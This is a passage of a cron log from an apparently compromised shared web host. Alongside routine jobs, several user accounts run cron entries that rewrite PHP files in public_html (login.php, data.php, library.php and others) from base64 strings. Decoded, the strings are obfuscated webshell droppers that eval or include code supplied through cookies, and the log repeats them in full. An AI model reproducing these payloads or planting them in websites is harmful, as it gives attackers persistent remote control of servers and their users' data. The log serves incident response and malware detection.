ICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:42:02 medusa CROND[8952]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:42:02 medusa CROND[8953]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:42:02 medusa CROND[8954]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:42:02 medusa CROND[8956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:42:02 medusa CROND[8957]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:42:02 medusa CROND[8958]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:42:02 medusa CROND[8965]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:42:02 medusa CROND[8968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:42:02 medusa CROND[8967]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:42:02 medusa CROND[8969]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:42:02 medusa CROND[8971]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:43:02 medusa CROND[29069]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 03:43:02 medusa CROND[29070]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:43:02 medusa CROND[29071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:43:02 medusa CROND[29072]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:43:02 medusa CROND[29073]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:43:02 medusa CROND[29076]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:43:02 medusa CROND[29077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:43:02 medusa CROND[29080]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 03:43:02 medusa CROND[29081]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:43:02 medusa CROND[29082]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:43:02 medusa CROND[29087]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:43:02 medusa CROND[29091]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:43:02 medusa CROND[29096]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:43:02 medusa CROND[29094]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:44:01 medusa CROND[13169]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:44:01 medusa CROND[13170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:44:01 medusa CROND[13171]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:44:01 medusa CROND[13172]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:44:01 medusa CROND[13173]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 